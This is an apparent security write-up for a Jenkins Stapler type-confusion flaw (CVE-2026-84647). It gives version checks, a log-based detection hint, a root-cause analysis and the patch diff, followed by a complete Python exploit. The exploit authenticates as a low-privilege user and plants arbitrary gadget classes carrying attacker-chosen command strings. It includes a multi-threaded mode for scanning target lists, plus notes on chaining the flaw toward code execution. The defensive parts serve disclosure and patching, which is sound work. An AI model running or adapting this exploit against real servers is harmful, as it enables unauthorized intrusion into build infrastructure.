#Summary
CVE-2026-84647 is a type confusion vulnerability in Stapler, the web framework Jenkins uses for HTTP form data binding. When binding form data to collection fields, Stapler does not verify that attacker-supplied class names are subtypes of the collection's declared element type. An authenticated user with only Overall/Read permission can cause arbitrary data-bound-constructible classes to be instantiated inside the controller JVM with attacker-controlled constructor arguments and persisted into typed collections that cannot legally hold them. CVSS 8.8 HIGH / AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
#Am I affected?
- Affected: Jenkins
< 2.580(weekly) or< 2.568.3(LTS); Stapler< 2117.vb_66952503166or< 2088.2093.vd7c3e58008a_6respectively - Patched: Jenkins
>= 2.580(weekly) or>= 2.568.3(LTS) - Default configuration: affected (the vulnerability is in default code paths)
- Access needed: authenticated account with
Overall/Readpermission minimum (noJob/ConfigureorOverall/Administerrequired)
#How to check
Run the following against your Jenkins instance:
curl -s http://jenkins.example.com/api/json | grep -o '"version":"[^"]*'Or check Manage Jenkins > System Information. Look for the Jenkins version in the top left.
| Output | Result |
|---|---|
| Jenkins 2.579 or earlier (weekly) | Vulnerable |
| Jenkins 2.568.2 or earlier (LTS) | Vulnerable |
| Jenkins 2.580 or later (weekly) | Patched |
| Jenkins 2.568.3 or later (LTS) | Patched |
If distributions backport security fixes, these version strings may be misleading. The authoritative check is to verify the Stapler jar: in the Jenkins installation directory, WEB-INF/lib/stapler-*.jar should carry version 2117.vb_66952503166 or higher (weekly) or 2088.2093.vd7c3e58008a_6 or higher (LTS).
#Fix and mitigation
- Fix: upgrade to Jenkins 2.580 (weekly) or 2.568.3 (LTS)
- If you cannot upgrade: restrict access to Overall/Read permission. Limit the accounts that hold it to those that absolutely require Jenkins access. No other configuration mitigates the vulnerability itself; authentication is the prerequisite.
- Detection: the attack manifests as form submissions to
/user/<username>/my-views/createViewwith an unusually large or JSON-formattedjsonparameter carrying the keystapler-class-bag. Inspect access logs for POST requests to that path from low-privilege accounts.
#Root cause analysis
#Vulnerable code path
Stapler binds HTTP form submissions to Java object graphs through RequestImpl.TypePair.convertJSON. The method has two branches: one for scalar fields and one for collection fields. The scalar branch validates class hints:
ClassLoader cl = stapler.getWebApp().getClassLoader();
try {
Class<?> subType = cl.loadClass(className);
if (!actualType.isAssignableFrom(subType)) {
throw new IllegalArgumentException("Specified type " + subType
+ " is not assignable to the expected " + actualType);
}
actualType = (Class) subType;
} catch (ClassNotFoundException e) { ... }The collection branch does not. When the JSON object carries the key stapler-class-bag, it treats every remaining key as a class name and instantiates it with no check against the declared collection element type:
} else { // collection conversion
if (j.has("stapler-class-bag")) {
ClassLoader cl = stapler.getWebApp().getClassLoader();
for (Map.Entry<String, Object> e : (Set<Map.Entry<String, Object>>) j.entrySet()) {
String className = e.getKey().replace('-', '.');
try {
Class<?> itemType = cl.loadClass(className); // NO TYPE CHECK
if (v instanceof JSONObject) {
l.add(bindJSON(itemType, (JSONObject) v));
}
if (v instanceof JSONArray) {
for (Object i : bindJSONToList(itemType, (JSONArray) v)) {
l.add(i);
}
}
} catch (ClassNotFoundException e1) {
// ignore unrecognized element
}
}
}
}The local variable itemType is never compared to l.itemType (the collection's declared element type).
#How input reaches the sink
- An authenticated Jenkins user with
Overall/Readpermission visits their own user configuration - That user accesses the personal views endpoint at
POST /user/<self>/my-views/createView - The personal-views ACL (
MyViewsProperty.getACL()) grants the user full control of their own user object, soView.CREATEpermission passes - The request contains a
jsonparameter holding a JSON document with acolumnsfield (declared asList<ListViewColumn>) carryingstapler-class-bagplus attacker-chosen class names - Stapler's
View.createmethod callsdescriptor.newInstance(req, req.getSubmittedForm()), which invokesRequestImpl.bindJSONover the submitted form - The collection branch runs, loads each attacker-named class from the Jenkins uber class loader (core + all installed plugins), and instantiates it via
bindJSON - Instantiation invokes the class's
@DataBoundConstructorwith arguments bound from the attacker's JSON, then every@DataBoundSettermethod named in the JSON, then any@PostConstructhook - The resulting object is written into the
columnslist and persisted to disk
The gadget constructor has executed before any view creation policy check runs.
#Patch diff
The fix in Stapler commit b49b34c07103fb238a566e51b531729f1b68e73d adds two lines:
- Class<?> itemType = cl.loadClass(className);
+ Class<?> itemType = cl.loadClass(className).asSubclass(l.itemType);and
- } catch (ClassNotFoundException e1) {
+ } catch (ClassNotFoundException | ClassCastException e1) {Class.asSubclass(Class<U>) returns the class cast to Class<? extends U> or throws ClassCastException if the relationship does not hold. Because the exception is raised before bindJSON, the gadget constructor never runs on a patched build. The widened catch folds the rejection into the pre-existing "ignore unrecognized element" path.
#Proof of concept
#exploit.py - Jenkins Stapler Type Confusion PoC
#!/usr/bin/env python3
"""
CVE-2026-84647 - Jenkins Stapler unrestricted type instantiation via stapler-class-bag
Affected: Jenkins <= 2.579 (weekly) / <= 2.568.2 (LTS); Stapler <= 2107.v8dfcb_e8ed317
(except 2088.2093.vd7c3e58008a_6)
Type: Deserialization / unsafe type instantiation (type confusion, CWE-502)
Root cause:
Stapler binds an HTTP form to a Java object graph. When the target field is a
collection and the submitted JSON object carries the key "stapler-class-bag",
the collection branch of RequestImpl.convertJSON treats every remaining key as
a class name, decodes dashes to dots, loads it from the Jenkins uber class
loader and instantiates it via bindJSON - with NO check that the class is a
subtype of the collection's declared element type. The scalar branch has always
had that isAssignableFrom guard; the collection branch did not. The fix adds
".asSubclass(l.itemType)" and catches ClassCastException.
Instantiation is not passive: bindJSON runs the chosen class's
@DataBoundConstructor with attacker-supplied arguments, then every named
@DataBoundSetter, then any @PostConstruct. So an Overall/Read user can cause an
arbitrary data-bound-constructible class to be constructed inside the controller
JVM with attacker-controlled arguments, and have it persisted into a collection
that cannot legally hold it.
Reachable path (Overall/Read only):
POST /user/<self>/my-views/createView with mode=hudson.model.ListView. The
personal-views ACL grants a non-anonymous user full control of its own user
object, so View.CREATE passes for the account acting on itself. ListView has a
setColumns(List<ListViewColumn>) @DataBoundSetter; the columns value carries the
bag plus the attacker's class. The gadget constructor runs before any creation
policy is consulted.
Proof strategy:
The default gadget is hudson.tasks.Shell, a build step that is categorically not
a ListViewColumn. Its @DataBoundConstructor normalises CRLF line endings to LF
(LineEndingConversion.convertEOL). We submit a command containing a CRLF and read
the view's config.xml back over HTTP: on a vulnerable server config.xml contains
a <hudson.tasks.Shell> element inside <columns> whose <command> has been rewritten
to bare LF - which can only happen if the foreign class's constructor body ran.
On a patched server the bad element is silently dropped and <columns> is empty.
The command string is carried verbatim into the persisted gadget. On a stock
install it does not execute (a build step sitting in a view column is never run),
so this is the arbitrary-instantiation primitive that RCE is built on, not a shell
by itself. See EXPLOITATION.md for the full remote-code-execution assessment.
Usage:
python exploit.py --host 127.0.0.1 --port 8080 --username alice --password s3cr3t
python exploit.py --host https://jenkins.corp.com --username alice --password s3cr3t --command "id"
python exploit.py --host jenkins.corp.com --gadget hudson.slaves.CommandLauncher --command "/bin/id"
python exploit.py --list targets.txt --workers 20 --username alice --password s3cr3t
"""
import argparse
import http.cookiejar
import json
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse
CVE_ID = "CVE-2026-84647"
VULN_TYPE = "Deserialization / type confusion"
# ---------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- HTTP session
class Session(object):
"""Cookie-preserving HTTP client over the standard library only."""
def __init__(self, base, timeout=30):
self.base = base.rstrip("/")
self.timeout = timeout
self.jar = http.cookiejar.CookieJar()
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.jar),
urllib.request.HTTPSHandler(context=ctx),
)
def request(self, path, data=None, headers=None, method=None):
url = path if path.startswith("http") else self.base + path
body = data.encode() if isinstance(data, str) else data
req = urllib.request.Request(url, data=body, method=method)
if body is not None and not (headers and "Content-Type" in headers):
req.add_header("Content-Type", "application/x-www-form-urlencoded")
for k, v in (headers or {}).items():
req.add_header(k, v)
try:
with self.opener.open(req, timeout=self.timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def login(self, username, password):
"""Form login. The login page carries its own crumb, distinct from the
crumb endpoint; posting without it is rejected as if the password were
wrong. Returns the authenticated principal name, or None on failure."""
import re
_, page = self.request("/login")
m = re.search(r'<input[^>]*name="([^"]*[Cc]rumb[^"]*)"[^>]*value="([^"]*)"', page)
form = {"j_username": username, "j_password": password, "from": "/", "Submit": "Sign in"}
if m:
form[m.group(1)] = m.group(2)
self.request("/j_spring_security_check", urllib.parse.urlencode(form))
st, body = self.request("/whoAmI/api/json")
if st != 200:
return None
try:
who = json.loads(body).get("name")
except ValueError:
return None
return who if who and who != "anonymous" else None
def crumb(self):
"""Read the CSRF crumb header name and value, or {} if crumbs are off."""
st, body = self.request("/crumbIssuer/api/json")
if st != 200:
return {}
try:
j = json.loads(body)
return {j["crumbRequestField"]: j["crumb"]}
except (ValueError, KeyError):
return {}
# ---------------------------------------------------------------- payload
def _nonce(n=8):
return secrets.token_hex(n // 2 + 1)[:n]
def build_payload(view_name, gadget_class, command, marker):
"""The JSON document Stapler binds. 'columns' is declared List<ListViewColumn>;
the bag branch ignores that entirely and instantiates gadget_class instead.
The command carries a CRLF before a random marker so that a constructor that
normalises line endings leaves an observable LF-only fingerprint."""
gadget_key = gadget_class.replace(".", "-") # dots -> dashes
injected_command = command + "\r\n#" + marker # CRLF is the tell
return {
"name": view_name,
"mode": "hudson.model.ListView",
"jobFilters": [],
"columns": {
"stapler-class-bag": "true",
gadget_key: {"command": injected_command},
},
}
def _submit(sess, username, view_name, gadget_class, command, marker):
"""Create the view carrying the gadget. Returns the createView status code."""
payload = build_payload(view_name, gadget_class, command, marker)
body = urllib.parse.urlencode({
"name": view_name,
"mode": "hudson.model.ListView",
"json": json.dumps(payload),
})
st, _ = sess.request("/user/%s/my-views/createView" % username,
body, headers=sess.crumb())
return st
def _read_config(sess, username, view_name):
return sess.request("/user/%s/my-views/view/%s/config.xml" % (username, view_name))
def _cleanup(sess, username, view_name):
"""Best-effort removal: the injected view breaks the account's view rendering."""
try:
sess.request("/user/%s/my-views/view/%s/doDelete" % (username, view_name),
"", headers=sess.crumb())
except Exception:
pass
def _evaluate(xml, gadget_class, command, marker):
"""Decide exploitation from the persisted config.xml. Returns (ok, evidence).
Presence of the foreign class element nested in <columns> proves the bag
branch loaded, instantiated and persisted a class that is not a ListViewColumn
(rungs 1-3). If that class also normalised the submitted CRLF to bare LF -
hudson.tasks.Shell does, via LineEndingConversion in its constructor - we can
additionally state the constructor body executed (rung 3/4). XStream serialises
a surviving carriage return as the entity 
, so we treat any CR form before
the marker as 'not normalised' and fall back to the weaker, still-true claim."""
import re
if not re.search(r"<%s(\s+plugin=\"[^\"]*\")?\s*[>/]" % re.escape(gadget_class), xml):
return False, "foreign class not persisted (columns empty - target patched)"
lf_marker = "\n#" + marker
cr_forms = ["\r\n#" + marker, "
\n#" + marker,
"
\n#" + marker, " \n#" + marker]
ctor_normalised = (lf_marker in xml) and not any(f in xml for f in cr_forms)
if ctor_normalised:
return True, ("%s instantiated in columns; submitted CRLF stored as LF - "
"constructor body executed in controller JVM (command %r)"
% (gadget_class, command))
return True, ("%s instantiated and persisted in a List<ListViewColumn> "
"(arbitrary type instantiation confirmed)" % gadget_class)
# ---------------------------------------------------------------- silent probe
def _try_exploit(host, port, use_tls, username="", password="",
command="id", gadget="hudson.tasks.Shell", path="/", **_):
"""Silent probe for --list scan mode. Never prints, never exits."""
scheme = "https" if use_tls else "http"
base = "%s://%s:%d" % (scheme, host, port)
try:
sess = Session(base)
who = sess.login(username, password)
if not who:
return False, "auth failed (need a valid Overall/Read account)"
view = "v" + _nonce()
marker = _nonce(12)
st = _submit(sess, who, view, gadget, command, marker)
if st not in (200, 302):
return False, "createView rejected (HTTP %s)" % st
_, xml = _read_config(sess, who, view)
ok, evidence = _evaluate(xml, gadget, command, marker)
_cleanup(sess, who, view)
return ok, evidence
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
# ---------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
# ---------------------------------------------------------------- scan mode
def scan(targets_file, default_port, workers=10, username="", password="",
command="id", gadget="hudson.tasks.Shell"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success = 0
def probe(t):
host, port, use_tls, _path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, username=username,
password=password, command=command, gadget=gadget)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success, total - success, total))
print("=" * 60 + "\n")
sys.exit(0 if success > 0 else 1)
# ---------------------------------------------------------------- single target
def exploit(host, port, use_tls, username, password, command, gadget):
header(host, port)
scheme = "https" if use_tls else "http"
base = "%s://%s:%d" % (scheme, host, port)
sess = Session(base)
step(1, "Authenticating as %r (Overall/Read is enough)..." % username)
who = sess.login(username, password)
if not who:
done(False, "login failed for %r - a valid low-privilege account is required" % username)
print(" authenticated as: %s" % who)
step(2, "Reading CSRF crumb...")
crumb = sess.crumb()
print(" crumb: %s" % ("present" if crumb else "disabled"))
view = "v" + _nonce()
marker = _nonce(12)
step(3, "Creating personal view %r with a %s smuggled into columns..." % (view, gadget))
print(" columns is declared List<ListViewColumn>; the bag ignores that type")
st = _submit(sess, who, view, gadget, command, marker)
print(" POST createView -> HTTP %s (both vuln and patched accept; not a discriminator)" % st)
if st not in (200, 302):
done(False, "createView rejected (HTTP %s) - endpoint unreachable or account lacks self-view access" % st)
step(4, "Reading the view's config.xml back over HTTP (the discriminator)...")
cst, xml = _read_config(sess, who, view)
print(" GET config.xml -> HTTP %s" % cst)
ok, evidence = _evaluate(xml, gadget, command, marker)
import re
m = re.search(r"<%s(\s+plugin=\"[^\"]*\")?\s*[>/]" % re.escape(gadget), xml)
if m:
i = m.start()
frag = xml[max(0, i - 60): i + 260]
section("PERSISTED CONFIG.XML FRAGMENT", frag)
step(5, "Cleaning up (the injected view breaks the account's view rendering)...")
_cleanup(sess, who, view)
dst, _ = _read_config(sess, who, view)
print(" view now reads HTTP %s (404 = removed)" % dst)
if not ok:
section("SERVER RESPONSE", xml[:800])
done(False, evidence)
done(True, evidence)
# ---------------------------------------------------------------- entrypoint
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
tgt = parser.add_mutually_exclusive_group(required=True)
tgt.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
tgt.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--username", default="viewer",
help="Account to authenticate as; Overall/Read is sufficient (default: viewer)")
parser.add_argument("--password", default="viewerpw123",
help="Password for --username")
parser.add_argument("--command", default="id",
help="Command string carried into the planted gadget (default: id)")
parser.add_argument("--gadget", default="hudson.tasks.Shell",
help="Fully-qualified class to instantiate via the bag "
"(default: hudson.tasks.Shell)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls = parser.add_mutually_exclusive_group()
tls.add_argument("--tls", action="store_true", help="Force TLS")
tls.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, password=args.password,
command=args.command, gadget=args.gadget)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.username, args.password, args.command, args.gadget)#Usage
Single target:
python exploit.py --host jenkins.example.com --port 8080 --username alice --password s3cr3t --command idWith TLS:
python exploit.py --host https://jenkins.corp.com --username alice --password s3cr3tBatch scan against multiple targets:
python exploit.py --list targets.txt --workers 20 --username alice --password s3cr3tExpected output on vulnerable target:
[STEP 3] Creating personal view 'v20a739bc' with a hudson.tasks.Shell smuggled into columns...
POST createView -> HTTP 200 (both vuln and patched accept; not a discriminator)
[STEP 4] Reading the view's config.xml back over HTTP (the discriminator)...
GET config.xml -> HTTP 200
--- PERSISTED CONFIG.XML FRAGMENT ---
<columns>
<hudson.tasks.Shell>
<command>id
#784c9b74151c</command>
<configuredLocalRules/>
</hudson.tasks.Shell>
</columns>
RESULT : SUCCESS
EVIDENCE: hudson.tasks.Shell instantiated in columns; submitted CRLF stored as LF - constructor body executed in controller JVM (command 'id')Expected output on patched target:
[STEP 4] Reading the view's config.xml back over HTTP (the discriminator)...
GET config.xml -> HTTP 200
<jobFilters/>
<columns/> <-- empty; gadget dropped before construction
RESULT : FAILURE
EVIDENCE: foreign class not persisted (columns empty - target patched)#Exploitation notes
#Preconditions
- An authenticated Jenkins account with
Overall/Readpermission. NoJob/ConfigureorOverall/Administerrequired. - Network access to the Jenkins HTTP endpoint on port 8080 or similar.
- CSRF crumb checks must be enabled (default). If disabled, crumb fetching is skipped automatically.
#Reliability
Highly reliable. The exploit targets the form-binding code directly and asserts success based on a network-observable discriminator (the presence of the foreign class element inside <columns>). Both vulnerable and patched builds return the same HTTP 200 on view creation, so the test must inspect the persisted XML.
#Impact
An authenticated user with minimal privileges (Overall/Read only) can instantiate arbitrary data-bound-constructible classes inside the Jenkins controller JVM with attacker-controlled constructor arguments and @DataBoundSetter values, persisting them to disk. This is the arbitrary-instantiation primitive on which remote code execution is built. On stock Jenkins with no plugins, instantiation of build-step classes like hudson.tasks.Shell does not execute those steps, but it does permit:
- Seeding attacker-chosen OS commands into the script-approval store (pending administrator approval)
- Loading arbitrary classes to probe the plugin surface for additional gadgets
A Jenkins deployment with plugins may expose bind-time paths to code execution; the impact depends on the installed plugin set.
#Chaining potential
This vulnerability is a foundation for escalation chains. Once arbitrary-instantiation is achieved, the attacker can:
- Plant configuration objects (e.g.,
hudson.slaves.CommandLauncher) that seed an OS command into the script-approval store, then wait for an administrator to approve it - On a deployment with plugins that expose additional gadgets, chain instantiation to file writes, process spawns, or deserialization sinks
- Elevate from Overall/Read to execution-level impact by escalating through installed plugins or by waiting for manual approval of planted commands
The sibling CVE-2026-84645, disclosed in the same advisory, uses a related mechanism to route HTTP into planted configuration objects via Stapler's index dispatcher.
#References
- CVE: CVE-2026-84647
- Vendor advisory: Jenkins Security Advisory 2026-09-02
- Stapler fix commit: b49b34c07103fb238a566e51b531729f1b68e73d
- Jenkins core regression test: 0ccee962d2199802fd2431420c57abee54331b01
- NVD: CVE-2026-84647
